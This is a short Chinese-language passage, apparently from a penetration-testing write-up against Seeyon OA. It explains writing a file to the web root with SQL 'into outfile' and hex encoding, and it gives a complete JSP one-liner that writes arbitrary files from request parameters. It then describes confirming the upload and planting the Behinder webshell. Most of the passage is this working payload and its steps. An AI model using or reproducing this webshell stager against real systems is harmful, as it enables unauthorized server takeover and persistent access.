返回了当前使用的数据库, 要想写入shell需要知道写入的路径

这里得到路径 `D:\Program Files\UFseeyon\OA\mysql\bin..\`

通过 into outfile 写入文件，这里因为 jsp木马存在特殊符号，使用 hex编码 上传允许文件上传的jsp文件

```sql
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

HEX编码

显示上图则上传成功，访问 test\_upload.jsp 为空白不报错页面不存在就是上传成功

在发送请求包上传webshell，这里上传冰蝎
